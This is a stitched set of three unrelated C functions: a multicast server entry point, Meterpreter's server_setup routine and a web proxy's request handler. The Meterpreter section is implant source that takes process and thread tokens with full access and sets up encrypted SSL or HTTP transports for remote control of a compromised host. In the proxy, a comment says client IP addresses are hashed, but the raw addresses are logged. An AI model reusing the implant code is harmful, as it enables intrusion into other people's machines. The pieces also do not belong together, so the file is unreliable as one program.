int main(int argc, char *argv[]) { struct mls_net_mcast_ctx* srv = NULL; char ifaddr[256]; if (argc <= 3) { fprintf(stderr, "%s mc-address mc-port if-address\n", argv[0]); fprintf(stderr, " mc-address: 224.0.23.0\n"); fprintf(stderr, " mc-port: 3610\n"); fprintf(stderr, " if-address: 0.0.0.0 -or- eth0\n"); goto out; } #if 0 mls_net_show_if_all(); #endif { int ret = 0; if (isdigit(*(argv[3]))) { strncpy(ifaddr, argv[3], sizeof(ifaddr)); } else { ret = mls_net_getaddr_by_ifname(argv[3], AF_INET, ifaddr, sizeof(ifaddr)); if (0 != ret) { fprintf(stderr, "mls_net_getaddr_by_ifname(%d) error.\n", ret); goto out; } } fprintf(stdout, "ifaddr => %s\n", ifaddr); } srv = mls_net_mcast_open_ctx(argv[1], argv[2], ifaddr); if (NULL == srv) { fprintf(stderr, "mls_net_mcast_srv_open() error.\n"); goto out; } server_dispatch(srv); out: if (NULL != srv) mls_net_mcast_close_ctx(srv); return 0; }
/* * Setup and run the server. This is called from Init via the loader. */ DWORD server_setup( SOCKET fd ) { Remote * remote = NULL; char cStationName[256] = {0}; char cDesktopName[256] = {0}; DWORD res = 0; dprintf("[SERVER] Initializing..."); #ifdef _UNIX int local_error = 0; #endif // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value // for use with loading server extensions later. InitAppInstance(); srand( (unsigned int)time(NULL) ); __try { do { dprintf( "[SERVER] module loaded at 0x%08X", hAppInstance ); // Open a THREAD item for the servers main thread, we use this to manage migration later. serverThread = thread_open(); dprintf( "[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm ); if( !(remote = remote_allocate(fd)) ) { SetLastError( ERROR_NOT_ENOUGH_MEMORY ); break; } remote->url = global_meterpreter_url; if (strcmp(global_meterpreter_transport+12, "TRANSPORT_SSL") == 0) { remote->transport = METERPRETER_TRANSPORT_SSL; dprintf("[SERVER] Using SSL transport..."); } else if (strcmp(global_meterpreter_transport+12, "TRANSPORT_HTTPS") == 0) { remote->transport = METERPRETER_TRANSPORT_HTTPS; dprintf("[SERVER] Using HTTPS transport..."); } else if (strcmp(global_meterpreter_transport+12, "TRANSPORT_HTTP") == 0) { remote->transport = METERPRETER_TRANSPORT_HTTP; dprintf("[SERVER] Using HTTP transport..."); } // Do not allow the file descriptor to be inherited by child processes SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0); dprintf("[SERVER] Initializing tokens..."); // Store our thread handle remote->hServerThread = serverThread->handle; #ifdef _WIN32 // Store our process token if (!OpenThreadToken(remote->hServerThread, TOKEN_ALL_ACCESS, TRUE, &remote->hServerToken)) OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->hServerToken); // Copy it to the thread token remote->hThreadToken = remote->hServerToken; // Save the initial session/station/desktop names... remote->dwOrigSessionId = server_sessionid(); remote->dwCurrentSessionId = remote->dwOrigSessionId; GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &cStationName, 256, NULL ); remote->cpOrigStationName = _strdup( cStationName ); remote->cpCurrentStationName = _strdup( cStationName ); GetUserObjectInformation( GetThreadDesktop( GetCurrentThreadId() ), UOI_NAME, &cDesktopName, 256, NULL ); remote->cpOrigDesktopName = _strdup( cDesktopName ); remote->cpCurrentDesktopName = _strdup( cDesktopName ); #endif // Process our default SSL-over-TCP transport if (remote->transport == METERPRETER_TRANSPORT_SSL) { dprintf("[SERVER] Flushing the socket handle..."); server_socket_flush( remote ); dprintf("[SERVER] Initializing SSL..."); if( !server_initialize_ssl( remote ) ) break; dprintf("[SERVER] Negotiating SSL..."); if( !server_negotiate_ssl( remote ) ) break; dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", remote->transport); server_dispatch( remote ); dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines( remote ); } if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS) { dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", remote->transport); #ifdef _WIN32 server_dispatch_http_wininet( remote ); #else // XXX: Handle non-windows HTTP transport #endif dprintf("[SERVER] Deregistering dispatch routines..."); deregister_dispatch_routines( remote ); } } while (0); if (remote->transport == METERPRETER_TRANSPORT_SSL) { dprintf("[SERVER] Closing down SSL..."); server_destroy_ssl( remote ); } if( remote ) remote_deallocate( remote ); } __except( exceptionfilter(GetExceptionCode(), GetExceptionInformation()) ) { dprintf("[SERVER] *** exception triggered!"); thread_kill( serverThread ); } dprintf("[SERVER] Finished."); return res; }
void * http_go_proc(task_t *t) { int index = TASK_THRINDEX(t); Request h; ArgumentList prefs; userkey k; HTTP_Status result; DistillerStatus dist_result; const char *content_type; Argument *arg; int thresh; gm_Bool no_distill = gm_False; gm_Bool is_text_html = gm_False; #ifdef LOGGING struct loginfo lo; char logmsg[MAX_LOGMSG_LEN]; #endif /* LOGGING */ /* * New task data should be the request structure. */ init_Request(&h); h.cli_fd = (int)TASK_DATA(t); /* socket FD of client */ SET_TASK_DATA(t,&h); INST_begin_timestamp(index); INST_set_size(index,0); INST_set_thread_state(index, THR_ACCEPTED); INST_timestamp(index, m_arrival); #ifdef LOGGING LOGGING_init_loginfo(&lo); h.lo = &lo; #endif /* LOGGING */ /* * this should read all the headers. */ if (TASK_METADATA(t) == NULL) { int result; assert( DistillerBufferAlloc(&h.cli_hdrs, PERF_HTTP_TOTAL_HEADERLEN) == gm_True); result = readline_or_timeout(&h, READ_ALL_HEADERS, NULL); INST_timestamp(index, m_headersdone); if (result == -1) { /* client request timed out, or error reading hdrs */ /* TC::1 client timeout, or request doesn't sanity check */ goto HTTPGO_FINISH; /* NOTREACHED */ } } else { #ifdef NEWFE /* * This task is a child of a previous */ strncpy(h.cli_hdrs.mime_headers, TASK_METADATA(t), PERF_HTTP_TOTAL_HEADERLEN-1); FREE(TASK_METADATA(t)); #endif /* NEWFE */ } /* parse the headers and request line, filling them in to the loginfo */ result = parse_status_and_headers(&h); if (result != HTTP_NO_ERR) { /* BUG:: last arg of http_error_return should be a substitution arg */ /* TC::2 parse_status_and_headers returns an error */ http_error_return(&h, result); printf("Error occured here!\n"); goto HTTPGO_FINISH; } /* * We have a reasonable looking request. Get prefs for this user. */ k = userkey_from_sock_ipaddr(h.cli_fd); #ifdef LOGGING lo.ipaddr = k; #endif /* LOGGING */ (void)get_userprefs(k, &prefs); /* * Extract any arguments embedded in the URL itself, and add them * to the arg list. * TC::3 url is magic vs nonmagic */ if (is_magic ((char *) h.url)) { /* demagifying a url will never lengthen it so this is a good * upper bounds on the length of the non magical url */ char *demagicURL = ALLOCA(strlen(h.url)+1); assert(demagicURL); strcpy(demagicURL, h.url); from_magic((char *) demagicURL, h.url, &prefs); } /* determine the threshold for bypassing */ arg = getArgumentFromIdInList(&prefs, FRONT_MTU); thresh = (arg == NULL ? PERF_FRONT_MTU : ARG_INT(*arg)); /* determine if distillation is turned off for this * request. EXCEPTION: Force distillation for Prefs html form. */ arg = getArgumentFromIdInList(&prefs, FRONT_NO_DISTILL); if (arg != NULL && ARG_INT(*arg) && strcasecmp(fe_get_prefs_url, h.url) != 0) { /* TC::4 no_distill is set */ no_distill = gm_True; } else { no_distill = gm_False; } /* Short-circuit the following special URL's: * - "set my prefs as follows" (e.g. form submission) */ if (is_setpref_url(h.url)) { /* * handle what send user prefs form sends back. * TC::5 is_setpref_url returns true */ result = parse_and_change_prefs(h.url, k, h.errmsg); if (result == HTTP_NO_ERR) { /* TC::5.1 setpref url succeeds in setting prefs */ correct_write(h.cli_fd, "HTTP/1.0 200\r\nContent-type: text/html\r\n\r\n", -1); correct_write(h.cli_fd, "<html><head><title>Preferences Set</title></head>" "<body><center><h1>Preferences set</h1>" "Your new preferences have been set. Press the back " "button twice to resume browsing." "<p></center></body></html>", -1); } else { /* TC::5.2 setpref url fails in setting prefs */ http_error_return(&h, result); } } else if (is_getpref_url(h.url)) { /* TC::6 gimme my prefs*/ send_prefs(&prefs, h.cli_fd); } else if (is_server_url(h.url)==gm_False && strcasecmp(h.method, "get") != 0 && strcasecmp(h.method, "post") != 0) { /* * Doesn't appear to be an HTTP GET or POST request; so act as a * "dumb tunnel" for passing the request to the server (actually, via * the cache) and relaying the result to the client. */ /* TC::7 tunnel */ proxy_debug_3(DBG_HTTP, "Tunneling '%s'", DistillerBufferData(&h.cli_hdrs)); INST_set_thread_state(index, THR_DISTILLERSEND); tunnel(&h); } else { /* * It's not a special URL, and the request appears to be a GET/POST. * Add in the client's IP address as an INT32 argument so that * the distiller driver can get at it. */ SET_ARG_INT(prefs.arg[prefs.nargs], (INT32) k); SET_ARG_ID(prefs.arg[prefs.nargs], FRONT_CLIENT_IP); prefs.nargs++; result = server_dispatch(&prefs, t); /* * If we get a transport-level error (i.e. fetch from cache failed * due to an internal cache error), wrap the error in HTML (if * needed) and return error to user. * Otherwise, if the transaction succeeded but the server return * code indicates failure (i.e. != 200), **OR** if the server data * is smaller than a threshold size, bypass the server data * directly to the client. * Otherwise, attempt to distill. */ if (result != HTTP_NO_ERR) { /* transport level error: wrap in HTML for delivery to user */ /* TC::8 server_dispatch returns transport level error */ http_error_return(&h, result); goto HTTPGO_FINISH; } content_type = get_header_value(&h.svr_hdrs, "content-type", NULL, NULL, NULL); if (content_type == NULL) { /* TC::9 content-type can't be deduced */ content_type = "application/octet-stream"; } is_text_html = ( ((strncasecmp(content_type, "text/html", 9) == 0) || (strncasecmp(content_type, "text/plain", 10) == 0)) ? gm_True : gm_False); /*if ( (*h.url != '/' && strncasecmp(h.url, fe_agg_string, strlen(fe_agg_string)) != 0) &&*/ /* bypass ONLY if it is not a server-type URL */ /* TC::10.1 bypass because non-200s status */ /* TC::10.2 bypass because not text/html and too small to distill */ /* TC::4 bypass because no_distill is set */ /* bypass server data directly to user */ if ( is_server_url(h.url)==gm_False) { char *bypass_reason = NULL; if (h.svr_http_status != 200) { bypass_reason = "201 Non-OK server status"; } else if (is_text_html == gm_False && DistillerBufferLength(&h.svr_data) <= thresh) { bypass_reason = "202 content-type not text/html and content-length too short"; } else if (no_distill == gm_True) { bypass_reason = "203 distillation not indicated"; } if (bypass_reason) { INST_set_thread_state(index, THR_WRITEBACK); /* * Set return headers to indicate why the bypass occurred. */ insert_header(&h.svr_hdrs, TRANSEND_STATUS_HEADER, bypass_reason, 0); complete_bypass(&h); goto HTTPGO_FINISH; } } /* all is well: continue by dispatching to a worker for distillation */ dist_result = proxy_dispatch(&prefs, t); switch(dist_result) { case distOk: /* TC::11 distillation succeeded */ INST_timestamp(index, m_wbstart); insert_header(&h.pxy_hdrs, TRANSEND_STATUS_HEADER, "200 distillation OK", 0); correct_write(h.cli_fd, (char *)DistillerBufferData(&h.pxy_hdrs), (int)DistillerBufferLength(&h.pxy_hdrs)); /* -1 to avoid NULL term gunk */ correct_write(h.cli_fd, (char *)DistillerBufferData(&h.pxy_data), (int)DistillerBufferLength(&h.pxy_data)); INST_timestamp(thrindex, m_wbdone); break; case distDistillerNotFound: case distLaunchTimeout: case distBadInput: case distConnectionBroken: /* forward original if distiller for this type not found, connection repeatedly broken, or couldn't be launched */ /* TC::12 bypass because distillation failed */ insert_header(&h.svr_hdrs, (dist_result == distBadInput ? TRANSEND_STATUS_HEADER : TRANSEND_ERROR_HEADER), FE_getDistillerStatusString(dist_result), 0); if ((arg = getArgumentFromIdInList(&prefs, FRONT_DEVELOPER)) && ARG_INT(*arg)) { /* return explicit error message */ int tmp_len = snprintf(h.errmsg, HTTP_ERRMSG_MAX, "<i>[set arg <tt>i%d</tt> to 0 to suppress " "this diagnostic]</i><br>", FRONT_DEVELOPER); strncat(h.errmsg, FE_getDistillerStatusString(dist_result), HTTP_ERRMSG_MAX - tmp_len - 1); http_error_return(&h, HTTP_ERR_UNSPECIFIED); } else { /*if (*h.url == '/' || strncasecmp(h.url, fe_agg_string, strlen(fe_agg_string)) == 0) {*/ if (is_server_url(h.url)==gm_True) { /* this is a URL in the frontend's namespace, or an aggregator URL */ strcpy(h.errmsg, h.url); http_error_return(&h, HTTP_ERR_AGGREGATOR_ERROR); } else { complete_bypass(&h); } } break; case distRedispatch: /* * Redispatch count expired: too many redispatches (probably indicates * infinite loop in redispatch route.) */ snprintf(h.errmsg, HTTP_ERRMSG_MAX, "%d", PERF_REQUEST_TTL); http_error_return(&h, HTTP_ERR_ROUTING_ERROR); break; default: /* TC::13 some other distillation error */ insert_header(&h.svr_hdrs, TRANSEND_STATUS_HEADER, FE_getDistillerStatusString(dist_result), 0); http_error_return(&h, HTTP_ERR_UNSPECIFIED); break; } /* switch(dist_result) */ } /* if...else...else...endif */ /* all cases exit through this single exit point */ HTTPGO_FINISH: free_Request(&h); INST_timestamp(index, m_wbdone); INST_end_timestamp(index); if (TASK_PARENT(t) == 0 && TASK_CHILD_INDEX(t) == 0) { /* this is a "root task" */ close(h.cli_fd); } #ifdef LOGGING /* log the request info */ /* BUG::relies on formatting of the userkey */ /* I compare the IP address to 127.0.0.1 so that I don't log connections from localhost, namely the fe_check script. I also MD5 the IP address. */ k = lo.ipaddr; if (((UINT32) k) != ((UINT32) htonl(0x7F000001))) { /* MD5_CTX theHash; UINT32 res; MD5Init(&theHash); MD5Update(&theHash, magicKey, sizeof(magicKey)); MD5Update(&theHash, &k, sizeof(UINT32)); MD5Final(&theHash); memcpy(&res, theHash.digest, sizeof(UINT32)); res = ntohl(res); snprintf(logmsg, MAX_LOGMSG_LEN-1, "(HTTP) %lu %lu \"%s\" %d %ld %ld\n", res, lo.date, lo.url, lo.http_response, lo.size_before, lo.size_after);*/ snprintf(logmsg, MAX_LOGMSG_LEN-1, "(HTTP) %08x %08x \"%s\" %d %ld %ld\n", (UINT32) k, lo.date, lo.url, lo.http_response, lo.size_before, lo.size_after); gm_log(logmsg); } #endif /* LOGGING */ return (void *)0; }